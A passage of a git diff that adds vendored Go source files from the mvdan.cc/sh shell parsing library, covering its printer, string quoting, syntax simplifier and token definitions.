x.Name != nil { + p.space() + p.word(x.Name) + } + p.space() + p.stmt(x.Stmt) + case *LetClause: + p.spacedString("let", x.Pos()) + for _, n := range x.Exprs { + p.space() + p.arithmExpr(n, true, false) + } + case *TestDecl: + p.spacedString("@test", x.Pos()) + p.space() + p.word(x.Description) + p.space() + p.stmt(x.Body) + default: + panic(fmt.Sprintf("syntax.Printer: unexpected node type %T", x)) + } + return startRedirs +} + +func (p *Printer) ifClause(ic *IfClause, elif bool) { + if !elif { + p.spacedString("if", ic.Pos()) + } + p.nestedStmts(ic.Cond, ic.CondLast, Pos{}) + p.semiOrNewl("then", ic.ThenPos) + thenEnd := ic.FiPos + el := ic.Else + if el != nil { + thenEnd = el.Position + } + p.nestedStmts(ic.Then, ic.ThenLast, thenEnd) + + if el != nil && el.ThenPos.IsValid() { + p.comments(ic.Last...) + p.semiRsrv("elif", el.Position) + p.ifClause(el, true) + return + } + if el == nil { + p.comments(ic.Last...) + } else { + var left []Comment + for _, c := range ic.Last { + if c.Pos().After(el.Position) { + left = append(left, c) + break + } + p.comments(c) + } + p.semiRsrv("else", el.Position) + p.comments(left...) + p.nestedStmts(el.Then, el.ThenLast, ic.FiPos) + p.comments(el.Last...) + } + p.semiRsrv("fi", ic.FiPos) +} + +func (p *Printer) stmtList(stmts []*Stmt, last []Comment) { + sep := p.wantNewline || (len(stmts) > 0 && stmts[0].Pos().Line() > p.line) + for i, s := range stmts { + if i > 0 && p.singleLine && p.wantNewline && !p.wroteSemi { + // In singleLine mode, ensure we use semicolons between + // statements. + p.WriteByte(';') + p.wantSpace = spaceRequired + } + pos := s.Pos() + var midComs, endComs []Comment + for _, c := range s.Comments { + // Comments after the end of this command. Note that + // this includes "< 1: + // Force a newline if we find: + // { stmt; stmt; } + p.wantNewline = true + case closing.Line() > p.line && len(stmts) > 0 && + stmtsEnd(stmts, last).Line() < closing.Line(): + // Force a newline if we find: + // { stmt + // } + p.wantNewline = true + case len(p.pendingComments) > 0 && len(stmts) > 0: + // Force a newline if we find: + // for i in a b # stmt + // do foo; done + p.wantNewline = true + } + p.stmtList(stmts, last) + if closing.IsValid() { + p.flushComments() + } + p.decLevel() +} + +func (p *Printer) assigns(assigns []*Assign) { + p.incLevel() + for _, a := range assigns { + if p.wantsNewline(a.Pos(), true) { + p.bslashNewl() + } else { + p.spacePad(a.Pos()) + } + if a.Name != nil { + p.writeLit(a.Name.Value) + p.wroteIndex(a.Index) + if a.Append { + p.WriteByte('+') + } + if !a.Naked { + p.WriteByte('=') + } + } + if a.Value != nil { + // Ensure we don't use an escaped newline after '=', + // because that can result in indentation, thus + // splitting "foo=bar" into "foo= bar". + p.advanceLine(a.Value.Pos().Line()) + p.word(a.Value) + } else if a.Array != nil { + p.wantSpace = spaceNotRequired + p.WriteByte('(') + p.elemJoin(a.Array.Elems, a.Array.Last) + p.rightParen(a.Array.Rparen) + } + p.wantSpace = spaceRequired + } + p.decLevel() +} + +type wantSpaceState uint8 + +const ( + spaceNotRequired wantSpaceState = iota + spaceRequired // we should generally print a space or a newline next + spaceWritten // we have just written a space or newline +) + +// extraIndenter ensures that all lines in a '<<-' heredoc body have at least +// baseIndent leading tabs. Those that had more tab indentation than the first +// heredoc line will keep that relative indentation. +type extraIndenter struct { + bufWriter + baseIndent int + + firstIndent int + firstChange int + curLine []byte +} + +func (e *extraIndenter) WriteByte(b byte) error { + e.curLine = append(e.curLine, b) + if b != '\n' { + return nil + } + trimmed := bytes.TrimLeft(e.curLine, "\t") + if len(trimmed) == 1 { + // no tabs if this is an empty line, i.e. "\n" + e.bufWriter.Write(trimmed) + e.curLine = e.curLine[:0] + return nil + } + + lineIndent := len(e.curLine) - len(trimmed) + if e.firstIndent < 0 { + // This is the first heredoc line we add extra indentation to. + // Keep track of how much we indented. + e.firstIndent = lineIndent + e.firstChange = e.baseIndent - lineIndent + lineIndent = e.baseIndent + + } else if lineIndent < e.firstIndent { + // This line did not have enough indentation; simply indent it + // like the first line. + lineIndent = e.firstIndent + } else { + // This line had plenty of indentation. Add the extra + // indentation that the first line had, for consistency. + lineIndent += e.firstChange + } + e.bufWriter.WriteByte(tabwriter.Escape) + for i := 0; i < lineIndent; i++ { + e.bufWriter.WriteByte('\t') + } + e.bufWriter.WriteByte(tabwriter.Escape) + e.bufWriter.Write(trimmed) + e.curLine = e.curLine[:0] + return nil +} + +func (e *extraIndenter) WriteString(s string) (int, error) { + for i := 0; i < len(s); i++ { + e.WriteByte(s[i]) + } + return len(s), nil +} + +func startsWithLparen(node Node) bool { + switch node := node.(type) { + case *Stmt: + return startsWithLparen(node.Cmd) + case *BinaryCmd: + return startsWithLparen(node.X) + case *Subshell: + return true // keep ( ( + case *ArithmCmd: + return true // keep ( (( + } + return false +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/quote.go b/vendor/mvdan.cc/sh/v3/syntax/quote.go new file mode 100644 index 0000000000..6f27eba12d --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/quote.go @@ -0,0 +1,185 @@ +// Copyright (c) 2021, Daniel Martí +// See LICENSE for licensing information + +package syntax + +import ( + "fmt" + "strings" + "unicode" + "unicode/utf8" +) + +type QuoteError struct { + ByteOffset int + Message string +} + +func (e QuoteError) Error() string { + return fmt.Sprintf("cannot quote character at byte %d: %s", e.ByteOffset, e.Message) +} + +const ( + quoteErrNull = "shell strings cannot contain null bytes" + quoteErrPOSIX = "POSIX shell lacks escape sequences" + quoteErrRange = "rune out of range" + quoteErrMksh = "mksh cannot escape codepoints above 16 bits" +) + +// Quote returns a quoted version of the input string, +// so that the quoted version is expanded or interpreted +// as the original string in the given language variant. +// +// Quoting is necessary when using arbitrary literal strings +// as words in a shell script or command. +// Without quoting, one can run into syntax errors, +// as well as the possibility of running unintended code. +// +// An error is returned when a string cannot be quoted for a variant. +// For instance, POSIX lacks escape sequences for non-printable characters, +// and no language variant can represent a string containing null bytes. +// In such cases, the returned error type will be *QuoteError. +// +// The quoting strategy is chosen on a best-effort basis, +// to minimize the amount of extra bytes necessary. +// +// Some strings do not require any quoting and are returned unchanged. +// Those strings can be directly surrounded in single quotes as well. +func Quote(s string, lang LangVariant) (string, error) { + if s == "" { + // Special case; an empty string must always be quoted, + // as otherwise it expands to zero fields. + return "''", nil + } + shellChars := false + nonPrintable := false + offs := 0 + for rem := s; len(rem) > 0; { + r, size := utf8.DecodeRuneInString(rem) + switch r { + // Like regOps; token characters. + case ';', '"', '\'', '(', ')', '$', '|', '&', '>', '<', '`', + // Whitespace; might result in multiple fields. + ' ', '\t', '\r', '\n', + // Escape sequences would be expanded. + '\\', + // Would start a comment unless quoted. + '#', + // Might result in brace expansion. + '{', + // Might result in tilde expansion. + '~', + // Might result in globbing. + '*', '?', '[', + // Might result in an assignment. + '=': + shellChars = true + case '\x00': + return "", &QuoteError{ByteOffset: offs, Message: quoteErrNull} + } + if r == utf8.RuneError || !unicode.IsPrint(r) { + if lang == LangPOSIX { + return "", &QuoteError{ByteOffset: offs, Message: quoteErrPOSIX} + } + nonPrintable = true + } + rem = rem[size:] + offs += size + } + if !shellChars && !nonPrintable && !IsKeyword(s) { + // Nothing to quote; avoid allocating. + return s, nil + } + + // Single quotes are usually best, + // as they don't require any escaping of characters. + // If we have any invalid utf8 or non-printable runes, + // use $'' so that we can escape them. + // Note that we can't use double quotes for those. + var b strings.Builder + if nonPrintable { + b.WriteString("$'") + lastRequoteIfHex := false + offs := 0 + for rem := s; len(rem) > 0; { + nextRequoteIfHex := false + r, size := utf8.DecodeRuneInString(rem) + switch { + case r == '\'', r == '\\': + b.WriteByte('\\') + b.WriteRune(r) + case unicode.IsPrint(r) && r != utf8.RuneError: + if lastRequoteIfHex && isHex(r) { + b.WriteString("'$'") + } + b.WriteRune(r) + case r == '\a': + b.WriteString(`\a`) + case r == '\b': + b.WriteString(`\b`) + case r == '\f': + b.WriteString(`\f`) + case r == '\n': + b.WriteString(`\n`) + case r == '\r': + b.WriteString(`\r`) + case r == '\t': + b.WriteString(`\t`) + case r == '\v': + b.WriteString(`\v`) + case r < utf8.RuneSelf, r == utf8.RuneError && size == 1: + // \xXX, fixed at two hexadecimal characters. + fmt.Fprintf(&b, "\\x%02x", rem[0]) + // Unfortunately, mksh allows \x to consume more hex characters. + // Ensure that we don't allow it to read more than two. + if lang == LangMirBSDKorn { + nextRequoteIfHex = true + } + case r > utf8.MaxRune: + // Not a valid Unicode code point? + return "", &QuoteError{ByteOffset: offs, Message: quoteErrRange} + case lang == LangMirBSDKorn && r > 0xFFFD: + // From the CAVEATS section in R59's man page: + // + // mksh currently uses OPTU-16 internally, which is the same as + // UTF-8 and CESU-8 with 0000..FFFD being valid codepoints. + return "", &QuoteError{ByteOffset: offs, Message: quoteErrMksh} + case r < 0x10000: + // \uXXXX, fixed at four hexadecimal characters. + fmt.Fprintf(&b, "\\u%04x", r) + default: + // \UXXXXXXXX, fixed at eight hexadecimal characters. + fmt.Fprintf(&b, "\\U%08x", r) + } + rem = rem[size:] + lastRequoteIfHex = nextRequoteIfHex + offs += size + } + b.WriteString("'") + return b.String(), nil + } + + // Single quotes without any need for escaping. + if !strings.Contains(s, "'") { + return "'" + s + "'", nil + } + + // The string contains single quotes, + // so fall back to double quotes. + b.WriteByte('"') + for _, r := range s { + switch r { + case '"', '\\', '`', '$': + b.WriteByte('\\') + } + b.WriteRune(r) + } + b.WriteByte('"') + return b.String(), nil +} + +func isHex(r rune) bool { + return (r >= '0' && r <= '9') || + (r >= 'a' && r <= 'f') || + (r >= 'A' && r <= 'F') +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/quotestate_string.go b/vendor/mvdan.cc/sh/v3/syntax/quotestate_string.go new file mode 100644 index 0000000000..d43466f8fc --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/quotestate_string.go @@ -0,0 +1,61 @@ +// Code generated by "stringer -type=quoteState"; DO NOT EDIT. + +package syntax + +import "strconv" + +func _() { + // An "invalid array index" compiler error signifies that the constant values have changed. + // Re-run the stringer command to generate them again. + var x [1]struct{} + _ = x[noState-1] + _ = x[subCmd-2] + _ = x[subCmdBckquo-4] + _ = x[dblQuotes-8] + _ = x[hdocWord-16] + _ = x[hdocBody-32] + _ = x[hdocBodyTabs-64] + _ = x[arithmExpr-128] + _ = x[arithmExprLet-256] + _ = x[arithmExprCmd-512] + _ = x[arithmExprBrack-1024] + _ = x[testExpr-2048] + _ = x[testExprRegexp-4096] + _ = x[switchCase-8192] + _ = x[paramExpName-16384] + _ = x[paramExpSlice-32768] + _ = x[paramExpRepl-65536] + _ = x[paramExpExp-131072] + _ = x[arrayElems-262144] +} + +const _quoteState_name = "noStatesubCmdsubCmdBckquodblQuoteshdocWordhdocBodyhdocBodyTabsarithmExprarithmExprLetarithmExprCmdarithmExprBracktestExprtestExprRegexpswitchCaseparamExpNameparamExpSliceparamExpReplparamExpExparrayElems" + +var _quoteState_map = map[quoteState]string{ + 1: _quoteState_name[0:7], + 2: _quoteState_name[7:13], + 4: _quoteState_name[13:25], + 8: _quoteState_name[25:34], + 16: _quoteState_name[34:42], + 32: _quoteState_name[42:50], + 64: _quoteState_name[50:62], + 128: _quoteState_name[62:72], + 256: _quoteState_name[72:85], + 512: _quoteState_name[85:98], + 1024: _quoteState_name[98:113], + 2048: _quoteState_name[113:121], + 4096: _quoteState_name[121:135], + 8192: _quoteState_name[135:145], + 16384: _quoteState_name[145:157], + 32768: _quoteState_name[157:170], + 65536: _quoteState_name[170:182], + 131072: _quoteState_name[182:193], + 262144: _quoteState_name[193:203], +} + +func (i quoteState) String() string { + if str, ok := _quoteState_map[i]; ok { + return str + } + return "quoteState(" + strconv.FormatInt(int64(i), 10) + ")" +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/simplify.go b/vendor/mvdan.cc/sh/v3/syntax/simplify.go new file mode 100644 index 0000000000..e82fd55afa --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/simplify.go @@ -0,0 +1,250 @@ +// Copyright (c) 2017, Daniel Martí +// See LICENSE for licensing information + +package syntax + +import "bytes" + +// Simplify modifies a node to remove redundant pieces of syntax, and returns +// whether any changes were made. +// +// The changes currently applied are: +// +// Remove clearly useless parentheses $(( (expr) )) +// Remove dollars from vars in exprs (($var)) +// Remove duplicate subshells $( (stmts) ) +// Remove redundant quotes [[ "$var" == str ]] +// Merge negations with unary operators [[ ! -n $var ]] +// Use single quotes to shorten literals "\$foo" +func Simplify(n Node) bool { + s := simplifier{} + Walk(n, s.visit) + return s.modified +} + +type simplifier struct { + modified bool +} + +func (s *simplifier) visit(node Node) bool { + switch x := node.(type) { + case *Assign: + x.Index = s.removeParensArithm(x.Index) + // Don't inline params, as x[i] and x[$i] mean + // different things when x is an associative + // array; the first means "i", the second "$i". + case *ParamExp: + x.Index = s.removeParensArithm(x.Index) + // don't inline params - same as above. + + if x.Slice == nil { + break + } + x.Slice.Offset = s.removeParensArithm(x.Slice.Offset) + x.Slice.Offset = s.inlineSimpleParams(x.Slice.Offset) + x.Slice.Length = s.removeParensArithm(x.Slice.Length) + x.Slice.Length = s.inlineSimpleParams(x.Slice.Length) + case *ArithmExp: + x.X = s.removeParensArithm(x.X) + x.X = s.inlineSimpleParams(x.X) + case *ArithmCmd: + x.X = s.removeParensArithm(x.X) + x.X = s.inlineSimpleParams(x.X) + case *ParenArithm: + x.X = s.removeParensArithm(x.X) + x.X = s.inlineSimpleParams(x.X) + case *BinaryArithm: + x.X = s.inlineSimpleParams(x.X) + x.Y = s.inlineSimpleParams(x.Y) + case *CmdSubst: + x.Stmts = s.inlineSubshell(x.Stmts) + case *Subshell: + x.Stmts = s.inlineSubshell(x.Stmts) + case *Word: + x.Parts = s.simplifyWord(x.Parts) + case *TestClause: + x.X = s.removeParensTest(x.X) + x.X = s.removeNegateTest(x.X) + case *ParenTest: + x.X = s.removeParensTest(x.X) + x.X = s.removeNegateTest(x.X) + case *BinaryTest: + x.X = s.unquoteParams(x.X) + x.X = s.removeNegateTest(x.X) + if x.Op == TsMatchShort { + s.modified = true + x.Op = TsMatch + } + switch x.Op { + case TsMatch, TsNoMatch: + // unquoting enables globbing + default: + x.Y = s.unquoteParams(x.Y) + } + x.Y = s.removeNegateTest(x.Y) + case *UnaryTest: + x.X = s.unquoteParams(x.X) + } + return true +} + +func (s *simplifier) simplifyWord(wps []WordPart) []WordPart { +parts: + for i, wp := range wps { + dq, _ := wp.(*DblQuoted) + if dq == nil || len(dq.Parts) != 1 { + break + } + lit, _ := dq.Parts[0].(*Lit) + if lit == nil { + break + } + var buf bytes.Buffer + escaped := false + for _, r := range lit.Value { + switch r { + case '\\': + escaped = !escaped + if escaped { + continue + } + case '\'': + continue parts + case '$', '"', '`': + escaped = false + default: + if escaped { + continue parts + } + escaped = false + } + buf.WriteRune(r) + } + newVal := buf.String() + if newVal == lit.Value { + break + } + s.modified = true + wps[i] = &SglQuoted{ + Left: dq.Pos(), + Right: dq.End(), + Dollar: dq.Dollar, + Value: newVal, + } + } + return wps +} + +func (s *simplifier) removeParensArithm(x ArithmExpr) ArithmExpr { + for { + par, _ := x.(*ParenArithm) + if par == nil { + return x + } + s.modified = true + x = par.X + } +} + +func (s *simplifier) inlineSimpleParams(x ArithmExpr) ArithmExpr { + w, _ := x.(*Word) + if w == nil || len(w.Parts) != 1 { + return x + } + pe, _ := w.Parts[0].(*ParamExp) + if pe == nil || !ValidName(pe.Param.Value) { + // Not a parameter expansion, or not a valid name, like $3. + return x + } + if pe.Excl || pe.Length || pe.Width || pe.Slice != nil || + pe.Repl != nil || pe.Exp != nil || pe.Index != nil { + // A complex parameter expansion can't be simplified. + // + // Note that index expressions can't generally be simplified + // either. It's fine to turn ${a[0]} into a[0], but others like + // a[*] are invalid in many shells including Bash. + return x + } + s.modified = true + return &Word{Parts: []WordPart{pe.Param}} +} + +func (s *simplifier) inlineSubshell(stmts []*Stmt) []*Stmt { + for len(stmts) == 1 { + st := stmts[0] + if st.Negated || st.Background || st.Coprocess || + len(st.Redirs) > 0 { + break + } + sub, _ := st.Cmd.(*Subshell) + if sub == nil { + break + } + s.modified = true + stmts = sub.Stmts + } + return stmts +} + +func (s *simplifier) unquoteParams(x TestExpr) TestExpr { + w, _ := x.(*Word) + if w == nil || len(w.Parts) != 1 { + return x + } + dq, _ := w.Parts[0].(*DblQuoted) + if dq == nil || len(dq.Parts) != 1 { + return x + } + if _, ok := dq.Parts[0].(*ParamExp); !ok { + return x + } + s.modified = true + w.Parts = dq.Parts + return w +} + +func (s *simplifier) removeParensTest(x TestExpr) TestExpr { + for { + par, _ := x.(*ParenTest) + if par == nil { + return x + } + s.modified = true + x = par.X + } +} + +func (s *simplifier) removeNegateTest(x TestExpr) TestExpr { + u, _ := x.(*UnaryTest) + if u == nil || u.Op != TsNot { + return x + } + switch y := u.X.(type) { + case *UnaryTest: + switch y.Op { + case TsEmpStr: + y.Op = TsNempStr + s.modified = true + return y + case TsNempStr: + y.Op = TsEmpStr + s.modified = true + return y + case TsNot: + s.modified = true + return y.X + } + case *BinaryTest: + switch y.Op { + case TsMatch: + y.Op = TsNoMatch + s.modified = true + return y + case TsNoMatch: + y.Op = TsMatch + s.modified = true + return y + } + } + return x +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/token_string.go b/vendor/mvdan.cc/sh/v3/syntax/token_string.go new file mode 100644 index 0000000000..ab5c83aca0 --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/token_string.go @@ -0,0 +1,149 @@ +// Code generated by "stringer -type token -linecomment -trimprefix _"; DO NOT EDIT. + +package syntax + +import "strconv" + +func _() { + // An "invalid array index" compiler error signifies that the constant values have changed. + // Re-run the stringer command to generate them again. + var x [1]struct{} + _ = x[illegalTok-0] + _ = x[_EOF-1] + _ = x[_Newl-2] + _ = x[_Lit-3] + _ = x[_LitWord-4] + _ = x[_LitRedir-5] + _ = x[sglQuote-6] + _ = x[dblQuote-7] + _ = x[bckQuote-8] + _ = x[and-9] + _ = x[andAnd-10] + _ = x[orOr-11] + _ = x[or-12] + _ = x[orAnd-13] + _ = x[dollar-14] + _ = x[dollSglQuote-15] + _ = x[dollDblQuote-16] + _ = x[dollBrace-17] + _ = x[dollBrack-18] + _ = x[dollParen-19] + _ = x[dollDblParen-20] + _ = x[leftBrack-21] + _ = x[dblLeftBrack-22] + _ = x[leftParen-23] + _ = x[dblLeftParen-24] + _ = x[rightBrace-25] + _ = x[rightBrack-26] + _ = x[rightParen-27] + _ = x[dblRightParen-28] + _ = x[semicolon-29] + _ = x[dblSemicolon-30] + _ = x[semiAnd-31] + _ = x[dblSemiAnd-32] + _ = x[semiOr-33] + _ = x[exclMark-34] + _ = x[tilde-35] + _ = x[addAdd-36] + _ = x[subSub-37] + _ = x[star-38] + _ = x[power-39] + _ = x[equal-40] + _ = x[nequal-41] + _ = x[lequal-42] + _ = x[gequal-43] + _ = x[addAssgn-44] + _ = x[subAssgn-45] + _ = x[mulAssgn-46] + _ = x[quoAssgn-47] + _ = x[remAssgn-48] + _ = x[andAssgn-49] + _ = x[orAssgn-50] + _ = x[xorAssgn-51] + _ = x[shlAssgn-52] + _ = x[shrAssgn-53] + _ = x[rdrOut-54] + _ = x[appOut-55] + _ = x[rdrIn-56] + _ = x[rdrInOut-57] + _ = x[dplIn-58] + _ = x[dplOut-59] + _ = x[clbOut-60] + _ = x[hdoc-61] + _ = x[dashHdoc-62] + _ = x[wordHdoc-63] + _ = x[rdrAll-64] + _ = x[appAll-65] + _ = x[cmdIn-66] + _ = x[cmdOut-67] + _ = x[plus-68] + _ = x[colPlus-69] + _ = x[minus-70] + _ = x[colMinus-71] + _ = x[quest-72] + _ = x[colQuest-73] + _ = x[assgn-74] + _ = x[colAssgn-75] + _ = x[perc-76] + _ = x[dblPerc-77] + _ = x[hash-78] + _ = x[dblHash-79] + _ = x[caret-80] + _ = x[dblCaret-81] + _ = x[comma-82] + _ = x[dblComma-83] + _ = x[at-84] + _ = x[slash-85] + _ = x[dblSlash-86] + _ = x[colon-87] + _ = x[tsExists-88] + _ = x[tsRegFile-89] + _ = x[tsDirect-90] + _ = x[tsCharSp-91] + _ = x[tsBlckSp-92] + _ = x[tsNmPipe-93] + _ = x[tsSocket-94] + _ = x[tsSmbLink-95] + _ = x[tsSticky-96] + _ = x[tsGIDSet-97] + _ = x[tsUIDSet-98] + _ = x[tsGrpOwn-99] + _ = x[tsUsrOwn-100] + _ = x[tsModif-101] + _ = x[tsRead-102] + _ = x[tsWrite-103] + _ = x[tsExec-104] + _ = x[tsNoEmpty-105] + _ = x[tsFdTerm-106] + _ = x[tsEmpStr-107] + _ = x[tsNempStr-108] + _ = x[tsOptSet-109] + _ = x[tsVarSet-110] + _ = x[tsRefVar-111] + _ = x[tsReMatch-112] + _ = x[tsNewer-113] + _ = x[tsOlder-114] + _ = x[tsDevIno-115] + _ = x[tsEql-116] + _ = x[tsNeq-117] + _ = x[tsLeq-118] + _ = x[tsGeq-119] + _ = x[tsLss-120] + _ = x[tsGtr-121] + _ = x[globQuest-122] + _ = x[globStar-123] + _ = x[globPlus-124] + _ = x[globAt-125] + _ = x[globExcl-126] +} + +const _token_name = "illegalTokEOFNewlLitLitWordLitRedir'\"`&&&||||&$$'$\"${$[$($(([[[(((}])));;;;&;;&;|!~++--***==!=<=>=+=-=*=/=%=&=|=^=<<=>>=>>><<><&>&>|<<<<-<<<&>&>><(>(+:+-:-?:?=:=%%%###^^^,,,@///:-e-f-d-c-b-p-S-L-k-g-u-G-O-N-r-w-x-s-t-z-n-o-v-R=~-nt-ot-ef-eq-ne-le-ge-lt-gt?(*(+(@(!(" + +var _token_index = [...]uint16{0, 10, 13, 17, 20, 27, 35, 36, 37, 38, 39, 41, 43, 44, 46, 47, 49, 51, 53, 55, 57, 60, 61, 63, 64, 66, 67, 68, 69, 71, 72, 74, 76, 79, 81, 82, 83, 85, 87, 88, 90, 92, 94, 96, 98, 100, 102, 104, 106, 108, 110, 112, 114, 117, 120, 121, 123, 124, 126, 128, 130, 132, 134, 137, 140, 142, 145, 147, 149, 150, 152, 153, 155, 156, 158, 159, 161, 162, 164, 165, 167, 168, 170, 171, 173, 174, 175, 177, 178, 180, 182, 184, 186, 188, 190, 192, 194, 196, 198, 200, 202, 204, 206, 208, 210, 212, 214, 216, 218, 220, 222, 224, 226, 228, 231, 234, 237, 240, 243, 246, 249, 252, 255, 257, 259, 261, 263, 265} + +func (i token) String() string { + if i >= token(len(_token_index)-1) { + return "token(" + strconv.FormatInt(int64(i), 10) + ")" + } + return _token_name[_token_index[i]:_token_index[i+1]] +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/tokens.go b/vendor/mvdan.cc/sh/v3/syntax/tokens.go new file mode 100644 index 0000000000..6a64b21378 --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/tokens.go @@ -0,0 +1,349 @@ +// Copyright (c) 2016, Daniel Martí +// See LICENSE for licensing information + +package syntax + +//go:generate stringer -type token -linecomment -trimprefix _ + +type token uint32 + +// The list of all possible tokens. +const ( + illegalTok token = iota + + _EOF + _Newl + _Lit + _LitWord + _LitRedir + + sglQuote // ' + dblQuote // " + bckQuote // ` + + and // & + andAnd // && + orOr // || + or // | + orAnd // |& + + dollar // $ + dollSglQuote // $' + dollDblQuote // $" + dollBrace // ${ + dollBrack // $[ + dollParen // $( + dollDblParen // $(( + leftBrack // [ + dblLeftBrack // [[ + leftParen // ( + dblLeftParen // (( + + rightBrace // } + rightBrack // ] + rightParen // ) + dblRightParen // )) + semicolon // ; + + dblSemicolon // ;; + semiAnd // ;& + dblSemiAnd // ;;& + semiOr // ;| + + exclMark // ! + tilde // ~ + addAdd // ++ + subSub // -- + star // * + power // ** + equal // == + nequal // != + lequal // <= + gequal // >= + + addAssgn // += + subAssgn // -= + mulAssgn // *= + quoAssgn // /= + remAssgn // %= + andAssgn // &= + orAssgn // |= + xorAssgn // ^= + shlAssgn // <<= + shrAssgn // >>= + + rdrOut // > + appOut // >> + rdrIn // < + rdrInOut // <> + dplIn // <& + dplOut // >& + clbOut // >| + hdoc // << + dashHdoc // <<- + wordHdoc // <<< + rdrAll // &> + appAll // &>> + + cmdIn // <( + cmdOut // >( + + plus // + + colPlus // :+ + minus // - + colMinus // :- + quest // ? + colQuest // :? + assgn // = + colAssgn // := + perc // % + dblPerc // %% + hash // # + dblHash // ## + caret // ^ + dblCaret // ^^ + comma // , + dblComma // ,, + at // @ + slash // / + dblSlash // // + colon // : + + tsExists // -e + tsRegFile // -f + tsDirect // -d + tsCharSp // -c + tsBlckSp // -b + tsNmPipe // -p + tsSocket // -S + tsSmbLink // -L + tsSticky // -k + tsGIDSet // -g + tsUIDSet // -u + tsGrpOwn // -G + tsUsrOwn // -O + tsModif // -N + tsRead // -r + tsWrite // -w + tsExec // -x + tsNoEmpty // -s + tsFdTerm // -t + tsEmpStr // -z + tsNempStr // -n + tsOptSet // -o + tsVarSet // -v + tsRefVar // -R + + tsReMatch // =~ + tsNewer // -nt + tsOlder // -ot + tsDevIno // -ef + tsEql // -eq + tsNeq // -ne + tsLeq // -le + tsGeq // -ge + tsLss // -lt + tsGtr // -gt + + globQuest // ?( + globStar // *( + globPlus // +( + globAt // @( + globExcl // !( +) + +type RedirOperator token + +const ( + RdrOut = RedirOperator(rdrOut) + iota // > + AppOut // >> + RdrIn // < + RdrInOut // <> + DplIn // <& + DplOut // >& + ClbOut // >| + Hdoc // << + DashHdoc // <<- + WordHdoc // <<< + RdrAll // &> + AppAll // &>> +) + +type ProcOperator token + +const ( + CmdIn = ProcOperator(cmdIn) + iota // <( + CmdOut // >( +) + +type GlobOperator token + +const ( + GlobZeroOrOne = GlobOperator(globQuest) + iota // ?( + GlobZeroOrMore // *( + GlobOneOrMore // +( + GlobOne // @( + GlobExcept // !( +) + +type BinCmdOperator token + +const ( + AndStmt = BinCmdOperator(andAnd) + iota // && + OrStmt // || + Pipe // | + PipeAll // |& +) + +type CaseOperator token + +const ( + Break = CaseOperator(dblSemicolon) + iota // ;; + Fallthrough // ;& + Resume // ;;& + ResumeKorn // ;| +) + +type ParNamesOperator token + +const ( + NamesPrefix = ParNamesOperator(star) // * + NamesPrefixWords = ParNamesOperator(at) // @ +) + +type ParExpOperator token + +const ( + AlternateUnset = ParExpOperator(plus) + iota // + + AlternateUnsetOrNull // :+ + DefaultUnset // - + DefaultUnsetOrNull // :- + ErrorUnset // ? + ErrorUnsetOrNull // :? + AssignUnset // = + AssignUnsetOrNull // := + RemSmallSuffix // % + RemLargeSuffix // %% + RemSmallPrefix // # + RemLargePrefix // ## + UpperFirst // ^ + UpperAll // ^^ + LowerFirst // , + LowerAll // ,, + OtherParamOps // @ +) + +type UnAritOperator token + +const ( + Not = UnAritOperator(exclMark) + iota // ! + BitNegation // ~ + Inc // ++ + Dec // -- + Plus = UnAritOperator(plus) // + + Minus = UnAritOperator(minus) // - +) + +type BinAritOperator token + +const ( + Add = BinAritOperator(plus) // + + Sub = BinAritOperator(minus) // - + Mul = BinAritOperator(star) // * + Quo = BinAritOperator(slash) // / + Rem = BinAritOperator(perc) // % + Pow = BinAritOperator(power) // ** + Eql = BinAritOperator(equal) // == + Gtr = BinAritOperator(rdrOut) // > + Lss = BinAritOperator(rdrIn) // < + Neq = BinAritOperator(nequal) // != + Leq = BinAritOperator(lequal) // <= + Geq = BinAritOperator(gequal) // >= + And = BinAritOperator(and) // & + Or = BinAritOperator(or) // | + Xor = BinAritOperator(caret) // ^ + Shr = BinAritOperator(appOut) // >> + Shl = BinAritOperator(hdoc) // << + + AndArit = BinAritOperator(andAnd) // && + OrArit = BinAritOperator(orOr) // || + Comma = BinAritOperator(comma) // , + TernQuest = BinAritOperator(quest) // ? + TernColon = BinAritOperator(colon) // : + + Assgn = BinAritOperator(assgn) // = + AddAssgn = BinAritOperator(addAssgn) // += + SubAssgn = BinAritOperator(subAssgn) // -= + MulAssgn = BinAritOperator(mulAssgn) // *= + QuoAssgn = BinAritOperator(quoAssgn) // /= + RemAssgn = BinAritOperator(remAssgn) // %= + AndAssgn = BinAritOperator(andAssgn) // &= + OrAssgn = BinAritOperator(orAssgn) // |= + XorAssgn = BinAritOperator(xorAssgn) // ^= + ShlAssgn = BinAritOperator(shlAssgn) // <<= + ShrAssgn = BinAritOperator(shrAssgn) // >>= +) + +type UnTestOperator token + +const ( + TsExists = UnTestOperator(tsExists) + iota // -e + TsRegFile // -f + TsDirect // -d + TsCharSp // -c + TsBlckSp // -b + TsNmPipe // -p + TsSocket // -S + TsSmbLink // -L + TsSticky // -k + TsGIDSet // -g + TsUIDSet // -u + TsGrpOwn // -G + TsUsrOwn // -O + TsModif // -N + TsRead // -r + TsWrite // -w + TsExec // -x + TsNoEmpty // -s + TsFdTerm // -t + TsEmpStr // -z + TsNempStr // -n + TsOptSet // -o + TsVarSet // -v + TsRefVar // -R + TsNot = UnTestOperator(exclMark) // ! +) + +type BinTestOperator token + +const ( + TsReMatch = BinTestOperator(tsReMatch) + iota // =~ + TsNewer // -nt + TsOlder // -ot + TsDevIno // -ef + TsEql // -eq + TsNeq // -ne + TsLeq // -le + TsGeq // -ge + TsLss // -lt + TsGtr // -gt + AndTest = BinTestOperator(andAnd) // && + OrTest = BinTestOperator(orOr) // || + TsMatchShort = BinTestOperator(assgn) // = + TsMatch = BinTestOperator(equal) // == + TsNoMatch = BinTestOperator(nequal) // != + TsBefore = BinTestOperator(rdrIn) // < + TsAfter = BinTestOperator(rdrOut) // > +) + +func (o RedirOperator) String() string { return token(o).String() } +func (o ProcOperator) String() string { return token(o).String() } +func (o GlobOperator) String() string { return token(o).String() } +func (o BinCmdOperator) String() string { return token(o).String() } +func (o CaseOperator) String() string { return token(o).String() } +func (o ParNamesOperator) String() string { return 